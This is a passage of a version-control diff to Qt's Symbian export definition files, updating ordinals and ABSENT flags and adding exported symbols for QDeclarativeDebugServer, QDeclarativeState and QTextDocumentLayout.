     	??0QDeclarativeContext@@AAE@PAVQDeclarativeContextData@@@Z @ 1342 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeContextData *)
    -	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ABSENT ; int QPacketProtocol::maximumPacketSize(void) const
    +	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ; int QPacketProtocol::maximumPacketSize(void) const
     	??_EQDeclarativeDebuggerStatus@@UAE@I@Z @ 1344 NONAME ABSENT ; QDeclarativeDebuggerStatus::~QDeclarativeDebuggerStatus(unsigned int)
     	?error@QDeclarativeCustomParser@@IAEXABVQString@@@Z @ 1345 NONAME ; void QDeclarativeCustomParser::error(class QString const &)
     	?messageReceived@QDeclarativeDebugService@@MAEXABVQByteArray@@@Z @ 1346 NONAME ABSENT ; void QDeclarativeDebugService::messageReceived(class QByteArray const &)
    @@ -1389,12 +1389,12 @@ EXPORTS
     	?setEnabled@QDeclarativeDebugClient@@QAEX_N@Z @ 1388 NONAME ABSENT ; void QDeclarativeDebugClient::setEnabled(bool)
     	??1QMetaObjectBuilder@@UAE@XZ @ 1389 NONAME ABSENT ; QMetaObjectBuilder::~QMetaObjectBuilder(void)
     	?tr@QDeclarativeStateOperation@@SA?AVQString@@PBD0@Z @ 1390 NONAME ; class QString QDeclarativeStateOperation::tr(char const *, char const *)
    -	?clear@QPacket@@QAEXXZ @ 1391 NONAME ABSENT ; void QPacket::clear(void)
    +	?clear@QPacket@@QAEXXZ @ 1391 NONAME ; void QPacket::clear(void)
     	?getStaticMetaObject@QDeclarativeDebugClient@@SAABUQMetaObject@@XZ @ 1392 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugClient::getStaticMetaObject(void)
     	??0QDeclarativeDomList@@QAE@ABV0@@Z @ 1393 NONAME ABSENT ; QDeclarativeDomList::QDeclarativeDomList(class QDeclarativeDomList const &)
     	?gridTop@QDeclarativeGridScaledImage@@QBEHXZ @ 1394 NONAME ABSENT ; int QDeclarativeGridScaledImage::gridTop(void) const
     	?setUrl@QDeclarativeError@@QAEXABVQUrl@@@Z @ 1395 NONAME ; void QDeclarativeError::setUrl(class QUrl const &)
    -	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ABSENT ; int QPacketProtocol::setMaximumPacketSize(int)
    +	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ; int QPacketProtocol::setMaximumPacketSize(int)
     	??_EQDeclarativeAction@@QAE@I@Z @ 1397 NONAME ABSENT ; QDeclarativeAction::~QDeclarativeAction(unsigned int)
     	?trUtf8@QDeclarativeDebugWatch@@SA?AVQString@@PBD0@Z @ 1398 NONAME ABSENT ; class QString QDeclarativeDebugWatch::trUtf8(char const *, char const *)
     	?read@QDeclarativeProperty@@SA?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1399 NONAME ; class QVariant QDeclarativeProperty::read(class QObject *, class QString const &)
    @@ -1472,7 +1472,7 @@ EXPORTS
     	?signalExpression@QDeclarativePropertyPrivate@@SAPAVQDeclarativeExpression@@ABVQDeclarativeProperty@@@Z @ 1471 NONAME ABSENT ; class QDeclarativeExpression * QDeclarativePropertyPrivate::signalExpression(class QDeclarativeProperty const &)
     	?networkAccessManagerFactory@QDeclarativeEngine@@QBEPAVQDeclarativeNetworkAccessManagerFactory@@XZ @ 1472 NONAME ; class QDeclarativeNetworkAccessManagerFactory * QDeclarativeEngine::networkAccessManagerFactory(void) const
     	?isStringList@Variant@QDeclarativeParser@@QBE_NXZ @ 1473 NONAME ; bool QDeclarativeParser::Variant::isStringList(void) const
    -	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ABSENT ; void QPacketProtocol::packetWritten(void)
    +	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ; void QPacketProtocol::packetWritten(void)
     	?getStaticMetaObject@QDeclarativeDebugObjectQuery@@SAABUQMetaObject@@XZ @ 1475 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugObjectQuery::getStaticMetaObject(void)
     	?isSignalProperty@QDeclarativeProperty@@QBE_NXZ @ 1476 NONAME ; bool QDeclarativeProperty::isSignalProperty(void) const
     	?d_func@QDeclarativeDebugService@@AAEPAVQDeclarativeDebugServicePrivate@@XZ @ 1477 NONAME ABSENT ; class QDeclarativeDebugServicePrivate * QDeclarativeDebugService::d_func(void)
    @@ -1488,7 +1488,7 @@ EXPORTS
     	?qt_metacast@QDeclarativePropertyMap@@UAEPAXPBD@Z @ 1487 NONAME ; void * QDeclarativePropertyMap::qt_metacast(char const *)
     	?classBegin@QDeclarativeAnchors@@QAEXXZ @ 1488 NONAME ABSENT ; void QDeclarativeAnchors::classBegin(void)
     	?color@QDeclarativeText@@QBE?AVQColor@@XZ @ 1489 NONAME ABSENT ; class QColor QDeclarativeText::color(void) const
    -	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ABSENT ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
    +	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
     	??4QDeclarativeGridScaledImage@@QAEAAV0@ABV0@@Z @ 1491 NONAME ABSENT ; class QDeclarativeGridScaledImage & QDeclarativeGridScaledImage::operator=(class QDeclarativeGridScaledImage const &)
     	?tr@QDeclarativeScaleGrid@@SA?AVQString@@PBD0@Z @ 1492 NONAME ABSENT ; class QString QDeclarativeScaleGrid::tr(char const *, char const *)
     	??1QDeclarativeScriptString@@QAE@XZ @ 1493 NONAME ; QDeclarativeScriptString::~QDeclarativeScriptString(void)
    @@ -1619,7 +1619,7 @@ EXPORTS
     	?metaObject@QDeclarativeItem@@UBEPBUQMetaObject@@XZ @ 1618 NONAME ; struct QMetaObject const * QDeclarativeItem::metaObject(void) const
     	?clear@QDeclarativeAbstractBinding@@IAEXXZ @ 1619 NONAME ABSENT ; void QDeclarativeAbstractBinding::clear(void)
     	?start@QDeclarativeItemPrivate@@SAXAAVQElapsedTimer@@@Z @ 1620 NONAME ; void QDeclarativeItemPrivate::start(class QElapsedTimer &)
    -	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
     	?stringToRule@QDeclarativeGridScaledImage@@CA?AW4TileMode@QDeclarativeBorderImage@@ABVQString@@@Z @ 1622 NONAME ABSENT ; enum QDeclarativeBorderImage::TileMode QDeclarativeGridScaledImage::stringToRule(class QString const &)
     	?setHorizontalCenter@QDeclarativeAnchors@@QAEXABVQDeclarativeAnchorLine@@@Z @ 1623 NONAME ABSENT ; void QDeclarativeAnchors::setHorizontalCenter(class QDeclarativeAnchorLine const &)
     	?setFocus@QDeclarativeItem@@QAEX_N@Z @ 1624 NONAME ; void QDeclarativeItem::setFocus(bool)
    @@ -1631,7 +1631,7 @@ EXPORTS
     	??0QDeclarativeContext@@AAE@PAVQDeclarativeEngine@@_N@Z @ 1630 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeEngine *, bool)
     	?initialValue@QDeclarativeOpenMetaObject@@UAE?AVQVariant@@H@Z @ 1631 NONAME ABSENT ; class QVariant QDeclarativeOpenMetaObject::initialValue(int)
     	?tr@QDeclarativeView@@SA?AVQString@@PBD0@Z @ 1632 NONAME ; class QString QDeclarativeView::tr(char const *, char const *)
    -	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ABSENT ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
     	??0QDeclarativeItem@@QAE@PAV0@@Z @ 1634 NONAME ; QDeclarativeItem::QDeclarativeItem(class QDeclarativeItem *)
     	?hasDebuggingClient@QDeclarativeDebugService@@SA_NXZ @ 1635 NONAME ABSENT ; bool QDeclarativeDebugService::hasDebuggingClient(void)
     	?staticMetaObject@QDeclarativeContext@@2UQMetaObject@@B @ 1636 NONAME ; struct QMetaObject const QDeclarativeContext::staticMetaObject
    @@ -1645,15 +1645,15 @@ EXPORTS
     	??_EQDeclarativePropertyChanges@@UAE@I@Z @ 1644 NONAME ABSENT ; QDeclarativePropertyChanges::~QDeclarativePropertyChanges(unsigned int)
     	?setObject@QDeclarativePropertyChanges@@QAEXPAVQObject@@@Z @ 1645 NONAME ABSENT ; void QDeclarativePropertyChanges::setObject(class QObject *)
     	?staticMetaObject@QDeclarativePropertyChanges@@2UQMetaObject@@B @ 1646 NONAME ABSENT ; struct QMetaObject const QDeclarativePropertyChanges::staticMetaObject
    -	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
    +	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ABSENT ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
     	?restoreEntryValues@QDeclarativePropertyChanges@@QBE_NXZ @ 1648 NONAME ABSENT ; bool QDeclarativePropertyChanges::restoreEntryValues(void) const
     	?setRestoreEntryValues@QDeclarativePropertyChanges@@QAEX_N@Z @ 1649 NONAME ABSENT ; void QDeclarativePropertyChanges::setRestoreEntryValues(bool)
     	?changeValue@QDeclarativePropertyChanges@@QAEXABVQByteArray@@ABVQVariant@@@Z @ 1650 NONAME ABSENT ; void QDeclarativePropertyChanges::changeValue(class QByteArray const &, class QVariant const &)
     	?metaObject@QDeclarativePropertyChanges@@UBEPBUQMetaObject@@XZ @ 1651 NONAME ABSENT ; struct QMetaObject const * QDeclarativePropertyChanges::metaObject(void) const
     	?data_clear@QDeclarativeItemPrivate@@SAXPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1652 NONAME ; void QDeclarativeItemPrivate::data_clear(class QDeclarativeListProperty *)
    -	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
    +	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ABSENT ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
     	?containsValue@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1654 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsValue(class QByteArray const &) const
    -	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
    +	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ABSENT ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
     	?d_func@QDeclarativePropertyChanges@@ABEPBVQDeclarativePropertyChangesPrivate@@XZ @ 1656 NONAME ABSENT ; class QDeclarativePropertyChangesPrivate const * QDeclarativePropertyChanges::d_func(void) const
     	?containsProperty@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1657 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsProperty(class QByteArray const &) const
     	?trUtf8@QDeclarativePropertyChanges@@SA?AVQString@@PBD0H@Z @ 1658 NONAME ABSENT ; class QString QDeclarativePropertyChanges::trUtf8(char const *, char const *, int)
    @@ -1677,17 +1677,17 @@ EXPORTS
     	?addEntriesToRevertList@QDeclarativeState@@QAEXABV?$QList@VQDeclarativeAction@@@@@Z @ 1676 NONAME ; void QDeclarativeState::addEntriesToRevertList(class QList const &)
     	?expression@QDeclarativePropertyChanges@@QBE?AVQString@@ABVQByteArray@@@Z @ 1677 NONAME ABSENT ; class QString QDeclarativePropertyChanges::expression(class QByteArray const &) const
     	?object@QDeclarativePropertyChanges@@QBEPAVQObject@@XZ @ 1678 NONAME ABSENT ; class QObject * QDeclarativePropertyChanges::object(void) const
    -	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
    +	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ABSENT ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
     	?removeAllEntriesFromRevertList@QDeclarativeState@@QAEXPAVQObject@@@Z @ 1680 NONAME ; void QDeclarativeState::removeAllEntriesFromRevertList(class QObject *)
     	?d_func@QDeclarativeStateOperation@@AAEPAVQDeclarativeStateOperationPrivate@@XZ @ 1681 NONAME ; class QDeclarativeStateOperationPrivate * QDeclarativeStateOperation::d_func(void)
    -	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
    +	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ABSENT ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
     	?setIsExplicit@QDeclarativePropertyChanges@@QAEX_N@Z @ 1683 NONAME ABSENT ; void QDeclarativePropertyChanges::setIsExplicit(bool)
     	?isStateActive@QDeclarativeState@@QBE_NXZ @ 1684 NONAME ; bool QDeclarativeState::isStateActive(void) const
     	?data_count@QDeclarativeItemPrivate@@SAHPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1685 NONAME ; int QDeclarativeItemPrivate::data_count(class QDeclarativeListProperty *)
     	?removeProperty@QDeclarativePropertyChanges@@QAEXABVQByteArray@@@Z @ 1686 NONAME ABSENT ; void QDeclarativePropertyChanges::removeProperty(class QByteArray const &)
     	?data_at@QDeclarativeItemPrivate@@SAPAVQObject@@PAV?$QDeclarativeListProperty@VQObject@@@@H@Z @ 1687 NONAME ; class QObject * QDeclarativeItemPrivate::data_at(class QDeclarativeListProperty *, int)
     	?tr@QDeclarativePropertyChanges@@SA?AVQString@@PBD0@Z @ 1688 NONAME ABSENT ; class QString QDeclarativePropertyChanges::tr(char const *, char const *)
    -	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
    +	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ABSENT ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
     	?getStaticMetaObject@QDeclarativePropertyChanges@@SAABUQMetaObject@@XZ @ 1690 NONAME ABSENT ; struct QMetaObject const & QDeclarativePropertyChanges::getStaticMetaObject(void)
     	?weakPointer@QDeclarativeAbstractBinding@@QAE?AV?$QWeakPointer@VQDeclarativeAbstractBinding@@@@XZ @ 1691 NONAME ABSENT ; class QWeakPointer QDeclarativeAbstractBinding::weakPointer(void)
     	?getStaticMetaObject@QDeclarativeScriptAction@@SAABUQMetaObject@@XZ @ 1692 NONAME ABSENT ; struct QMetaObject const & QDeclarativeScriptAction::getStaticMetaObject(void)
    @@ -1840,4 +1840,47 @@ EXPORTS
     	?qt_metacall@QDeclarativeAbstractAnimation@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1839 NONAME ABSENT ; int QDeclarativeAbstractAnimation::qt_metacall(enum QMetaObject::Call, int, void * *)
     	?enableDebugging@QDeclarativeDebugHelper@@SAXXZ @ 1840 NONAME ; void QDeclarativeDebugHelper::enableDebugging(void)
     	?connect@QDeclarativePropertyPrivate@@SA_NPBVQObject@@H0HHPAH@Z @ 1841 NONAME ABSENT ; bool QDeclarativePropertyPrivate::connect(class QObject const *, int, class QObject const *, int, int, int *)
    +	?qt_metacall@QDeclarativeDebugServer@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1842 NONAME ; int QDeclarativeDebugServer::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?implicitHeight@QDeclarativeItemPrivate@@UBEMXZ @ 1843 NONAME ; float QDeclarativeItemPrivate::implicitHeight(void) const
    +	?instance@QDeclarativeDebugServer@@SAPAV1@XZ @ 1844 NONAME ; class QDeclarativeDebugServer * QDeclarativeDebugServer::instance(void)
    +	?addService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1845 NONAME ; bool QDeclarativeDebugServer::addService(class QDeclarativeDebugService *)
    +	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQString@@@Z @ 1846 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QString const &) const
    +	?data@QPacket@@QBE?AVQByteArray@@XZ @ 1847 NONAME ; class QByteArray QPacket::data(void) const
    +	?removeService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1848 NONAME ; bool QDeclarativeDebugServer::removeService(class QDeclarativeDebugService *)
    +	?serviceNames@QDeclarativeDebugServer@@QBE?AVQStringList@@XZ @ 1849 NONAME ; class QStringList QDeclarativeDebugServer::serviceNames(void) const
    +	??_EQDeclarativeDebugServer@@UAE@I@Z @ 1850 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(unsigned int)
    +	?staticMetaObject@QDeclarativeDebugServer@@2UQMetaObject@@B @ 1851 NONAME ; struct QMetaObject const QDeclarativeDebugServer::staticMetaObject
    +	?services@QDeclarativeDebugServer@@QBE?AV?$QList@PAVQDeclarativeDebugService@@@@XZ @ 1852 NONAME ; class QList QDeclarativeDebugServer::services(void) const
    +	?rewriteBinding@QDeclarativeCustomParser@@IAEHABVQString@@ABVQByteArray@@@Z @ 1853 NONAME ; int QDeclarativeCustomParser::rewriteBinding(class QString const &, class QByteArray const &)
    +	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@ABVQVariant@@@Z @ 1854 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QString const &, class QVariant const &)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1855 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, class QFlags)
    +	?implicitHeightChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1856 NONAME ; void QDeclarativeItemPrivate::implicitHeightChanged(void)
    +	?implicitWidthChanged@QDeclarativeItem@@IAEXXZ @ 1857 NONAME ; void QDeclarativeItem::implicitWidthChanged(void)
    +	?implicitWidthChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1858 NONAME ; void QDeclarativeItemPrivate::implicitWidthChanged(void)
    +	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1859 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *, int)
    +	?implicitHeightChanged@QDeclarativeItem@@IAEXXZ @ 1860 NONAME ; void QDeclarativeItem::implicitHeightChanged(void)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1861 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QFlags)
    +	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1862 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *)
    +	??_EQDeclarativeDebugServerConnection@@UAE@I@Z @ 1863 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(unsigned int)
    +	?receiveMessage@QDeclarativeDebugServer@@QAEXABVQByteArray@@@Z @ 1864 NONAME ; void QDeclarativeDebugServer::receiveMessage(class QByteArray const &)
    +	??0QDeclarativeDebugServer@@AAE@XZ @ 1865 NONAME ; QDeclarativeDebugServer::QDeclarativeDebugServer(void)
    +	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1866 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *)
    +	??1QDeclarativeDebugServer@@UAE@XZ @ 1867 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(void)
    +	?sendMessage@QDeclarativeDebugServer@@QAEXPAVQDeclarativeDebugService@@ABVQByteArray@@@Z @ 1868 NONAME ; void QDeclarativeDebugServer::sendMessage(class QDeclarativeDebugService *, class QByteArray const &)
    +	??1QDeclarativeDebugServerConnection@@UAE@XZ @ 1869 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(void)
    +	?qt_metacast@QDeclarativeDebugServer@@UAEPAXPBD@Z @ 1870 NONAME ; void * QDeclarativeDebugServer::qt_metacast(char const *)
    +	?hasDebuggingClient@QDeclarativeDebugServer@@QBE_NXZ @ 1871 NONAME ; bool QDeclarativeDebugServer::hasDebuggingClient(void) const
    +	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQString@@@Z @ 1872 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QString const &) const
    +	?getStaticMetaObject@QDeclarativeDebugServer@@SAABUQMetaObject@@XZ @ 1873 NONAME ; struct QMetaObject const & QDeclarativeDebugServer::getStaticMetaObject(void)
    +	?metaObject@QDeclarativeDebugServer@@UBEPBUQMetaObject@@XZ @ 1874 NONAME ; struct QMetaObject const * QDeclarativeDebugServer::metaObject(void) const
    +	?d_func@QDeclarativeDebugServer@@ABEPBVQDeclarativeDebugServerPrivate@@XZ @ 1875 NONAME ; class QDeclarativeDebugServerPrivate const * QDeclarativeDebugServer::d_func(void) const
    +	??0QDeclarativeExpression@@IAE@PAVQDeclarativeContextData@@PAVQObject@@ABVQScriptValue@@AAVQDeclarativeExpressionPrivate@@@Z @ 1876 NONAME ; QDeclarativeExpression::QDeclarativeExpression(class QDeclarativeContextData *, class QObject *, class QScriptValue const &, class QDeclarativeExpressionPrivate &)
    +	?createObject@QDeclarativeComponent@@IAE?AVQScriptValue@@PAVQObject@@ABV2@@Z @ 1877 NONAME ; class QScriptValue QDeclarativeComponent::createObject(class QObject *, class QScriptValue const &)
    +	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@PAVQDeclarativeAbstractBinding@@@Z @ 1878 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QString const &, class QDeclarativeAbstractBinding *)
    +	??0QDeclarativeDebugServerConnection@@QAE@XZ @ 1879 NONAME ; QDeclarativeDebugServerConnection::QDeclarativeDebugServerConnection(void)
    +	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1880 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QString const &) const
    +	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@@Z @ 1881 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QString const &)
    +	?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void)
    +	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int)
    +	?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const
     
    diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def
    index bf4d99f..6a2bcb9 100644
    --- a/src/s60installs/bwins/QtGuiu.def
    +++ b/src/s60installs/bwins/QtGuiu.def
    @@ -12908,4 +12908,44 @@ EXPORTS
     	?resetCursorBlinkTimer@QLineControl@@QAEXXZ @ 12907 NONAME ; void QLineControl::resetCursorBlinkTimer(void)
     	?setSubFocus@QGraphicsItemPrivate@@QAEXPAVQGraphicsItem@@0@Z @ 12908 NONAME ; void QGraphicsItemPrivate::setSubFocus(class QGraphicsItem *, class QGraphicsItem *)
     	?clearSubFocus@QGraphicsItemPrivate@@QAEXPAVQGraphicsItem@@0@Z @ 12909 NONAME ; void QGraphicsItemPrivate::clearSubFocus(class QGraphicsItem *, class QGraphicsItem *)
    +	?hitTest@QTextDocumentLayout@@UBEHABVQPointF@@W4HitTestAccuracy@Qt@@@Z @ 12910 NONAME ; int QTextDocumentLayout::hitTest(class QPointF const &, enum Qt::HitTestAccuracy) const
    +	?positionInlineObject@QTextDocumentLayout@@MAEXVQTextInlineObject@@HABVQTextFormat@@@Z @ 12911 NONAME ; void QTextDocumentLayout::positionInlineObject(class QTextInlineObject, int, class QTextFormat const &)
    +	?timerEvent@QTextDocumentLayout@@MAEXPAVQTimerEvent@@@Z @ 12912 NONAME ; void QTextDocumentLayout::timerEvent(class QTimerEvent *)
    +	?draw@QTextDocumentLayout@@UAEXPAVQPainter@@ABUPaintContext@QAbstractTextDocumentLayout@@@Z @ 12913 NONAME ; void QTextDocumentLayout::draw(class QPainter *, struct QAbstractTextDocumentLayout::PaintContext const &)
    +	?documentSize@QTextDocumentLayout@@UBE?AVQSizeF@@XZ @ 12914 NONAME ; class QSizeF QTextDocumentLayout::documentSize(void) const
    +	?drawInlineObject@QTextDocumentLayout@@MAEXPAVQPainter@@ABVQRectF@@VQTextInlineObject@@HABVQTextFormat@@@Z @ 12915 NONAME ; void QTextDocumentLayout::drawInlineObject(class QPainter *, class QRectF const &, class QTextInlineObject, int, class QTextFormat const &)
    +	?resizeInlineObject@QTextDocumentLayout@@MAEXVQTextInlineObject@@HABVQTextFormat@@@Z @ 12916 NONAME ; void QTextDocumentLayout::resizeInlineObject(class QTextInlineObject, int, class QTextFormat const &)
    +	?dynamicDocumentSize@QTextDocumentLayout@@QBE?AVQSizeF@@XZ @ 12917 NONAME ; class QSizeF QTextDocumentLayout::dynamicDocumentSize(void) const
    +	?metaObject@QTextDocumentLayout@@UBEPBUQMetaObject@@XZ @ 12918 NONAME ; struct QMetaObject const * QTextDocumentLayout::metaObject(void) const
    +	?getStaticMetaObject@QTextDocumentLayout@@SAABUQMetaObject@@XZ @ 12919 NONAME ; struct QMetaObject const & QTextDocumentLayout::getStaticMetaObject(void)
    +	?blockBoundingRect@QTextDocumentLayout@@UBE?AVQRectF@@ABVQTextBlock@@@Z @ 12920 NONAME ; class QRectF QTextDocumentLayout::blockBoundingRect(class QTextBlock const &) const
    +	?qt_metacall@QTextDocumentLayout@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 12921 NONAME ; int QTextDocumentLayout::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?d_func@QTextDocumentLayout@@AAEPAVQTextDocumentLayoutPrivate@@XZ @ 12922 NONAME ; class QTextDocumentLayoutPrivate * QTextDocumentLayout::d_func(void)
    +	?isDragEnabled@QTextControl@@QBE_NXZ @ 12923 NONAME ; bool QTextControl::isDragEnabled(void) const
    +	?staticMetaObject@QTextDocumentLayout@@2UQMetaObject@@B @ 12924 NONAME ; struct QMetaObject const QTextDocumentLayout::staticMetaObject
    +	?qt_metacast@QTextDocumentLayout@@UAEPAXPBD@Z @ 12925 NONAME ; void * QTextDocumentLayout::qt_metacast(char const *)
    +	?documentChanged@QTextDocumentLayout@@MAEXHHH@Z @ 12926 NONAME ; void QTextDocumentLayout::documentChanged(int, int, int)
    +	??1QTextDocumentLayout@@UAE@XZ @ 12927 NONAME ; QTextDocumentLayout::~QTextDocumentLayout(void)
    +	?layoutStatus@QTextDocumentLayout@@QBEHXZ @ 12928 NONAME ; int QTextDocumentLayout::layoutStatus(void) const
    +	?setDragEnabled@QTextControl@@QAEX_N@Z @ 12929 NONAME ; void QTextControl::setDragEnabled(bool)
    +	?d_func@QTextDocumentLayout@@ABEPBVQTextDocumentLayoutPrivate@@XZ @ 12930 NONAME ; class QTextDocumentLayoutPrivate const * QTextDocumentLayout::d_func(void) const
    +	?idealWidth@QTextDocumentLayout@@QBEMXZ @ 12931 NONAME ; float QTextDocumentLayout::idealWidth(void) const
    +	?setFixedColumnWidth@QTextDocumentLayout@@QAEXH@Z @ 12932 NONAME ; void QTextDocumentLayout::setFixedColumnWidth(int)
    +	?cursorWidth@QTextDocumentLayout@@QBEHXZ @ 12933 NONAME ; int QTextDocumentLayout::cursorWidth(void) const
    +	?trUtf8@QTextDocumentLayout@@SA?AVQString@@PBD0H@Z @ 12934 NONAME ; class QString QTextDocumentLayout::trUtf8(char const *, char const *, int)
    +	?pageCount@QTextDocumentLayout@@UBEHXZ @ 12935 NONAME ; int QTextDocumentLayout::pageCount(void) const
